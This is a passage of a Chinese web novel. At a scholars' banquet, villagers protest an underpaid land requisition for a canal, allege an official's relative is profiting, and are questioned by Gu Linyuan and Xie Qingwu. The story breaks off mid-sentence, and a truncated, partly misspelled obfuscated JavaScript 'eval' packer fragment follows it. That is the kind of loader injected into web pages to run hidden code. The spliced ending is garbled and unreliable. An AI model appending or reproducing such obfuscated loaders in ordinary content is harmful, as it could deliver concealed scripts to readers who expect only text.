或者说,是说给她听的。
她那篇策论里,除了女子桑织,还隐晦地提了句“疏通河道,利通南北”。虽然只是一笔带过,但顾临渊显然注意到了。
他在敲打她。
谢青梧垂下眼,夹了块鱼肉。鱼肉嫩滑,入口即化,但她吃得没什么滋味。
宴席过半,李庸起身更衣。他走后,席间气氛松快了些。有人开始行酒令,有人凑在一起说笑。
周子砚小声问谢青梧:“谢兄,你怎么不说话?”
“听大家说就好。”谢青梧笑笑。
“那个顾公子……”周子砚压低声音,“好像挺厉害的样子。”
“首辅家的公子,自然厉害。”
“不过我觉得,还是谢兄你更厉害。”周子砚认真道,“你可是案首。”
谢青梧摇摇头,没接话。
她看向顾临渊那边。他正独自坐着,手指在桌上轻轻敲着,不知道在想什么。月白色的锦袍衬得他肤色更白,眉眼更冷,和这热闹的宴席格格不入。
就在这时,外头突然传来喧哗声。
“怎么回事?”有人问。
一个小厮慌慌张张跑进来:“大人!外头、外头来了群人,说要见李大人!”
李庸不在,席间众人面面相觑。
顾临渊皱了皱眉,起身往外走。几个学子跟着出去,谢青梧想了想,也跟了过去。
书院门口挤了十几个人,都是普通百姓打扮,有男有女,脸上带着怒色。为首的是个五十来岁的老汉,手里举着张纸,纸上密密麻麻写着字。
“我们要见李大人!”老汉喊,“凭什么占我们的地!”
顾临渊走到门口,扫了那些人一眼:“李大人不在。有什么事,跟我说。”
“跟你说?”老汉打量他,“你谁啊?”
“顾临渊。”
老汉愣了下,显然听过这个名字。但他很快又梗起脖子:“顾公子又怎样?我们今天非要见李大人不可!”
“什么事?”顾临渊问。
“修运河!”老汉把那张纸抖开,“官府要征我们村的地,说是修运河用。可给的补偿银子,连市价一半都不到!这不是明抢吗!”
他身后的人纷纷附和。
“就是!我家三亩水田,就给二十两!”
“我家的祖坟都在那儿,说迁就迁,连个商量都没有!”
“还有我家的房子……”
七嘴八舌,乱成一团。
顾临渊眉头皱得更紧:“补偿标准是工部定的,地方官府只是执行。”
“执行也不能这么执行啊!”老汉激动道,“我们一家老小就指着那些地吃饭,地没了,银子又不够,往后怎么活?”
顾临渊沉默了。
他显然没想到会遇上这种事。书本上的治国方略,朝堂上的高谈阔论,落到实地,原来是这样的。
谢青梧站在人群后面,看着那些百姓的脸。焦急,愤怒,无助。她想起林姨娘病重时,谢家不肯请好大夫,也是这样的表情。
“这位老伯。”她忽然开口。
众人都看向她。
谢青梧走上前,声音平缓:“您刚才说,官府给的补偿不够市价一半,可有凭证?”
老汉愣了愣:“有、有啊!我们打听过了,邻村上个月卖地,一亩水田能卖十五两。官府只给我们八两!”
“那您可有将此事上报?”谢青梧问,“县衙不管,可以往府衙递状子。”
“递了!”老汉眼眶红了,“递了三回,石沉大海!后来才听说,管这事的是县丞的小舅子,他低价收了地,转头就能高价卖给工部的人,中间不知道赚多少!”
这话说出来,在场学子的脸色都变了。
顾临渊盯着那老汉:“你说的可是真的?”
“若有半句假话,天打雷劈!”老汉咬牙,“我们也是没办法了,才来找李大人。听说李大人是个好官,求他给条活路。”
谢青梧没再说话。
她看向顾临渊。他站在那里,脸色很难看。月白色的锦袍在日光下有些刺眼,和他此刻的表情不太相称。
“我知道了。”良久,顾临渊开口,“你们先回去。这件
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(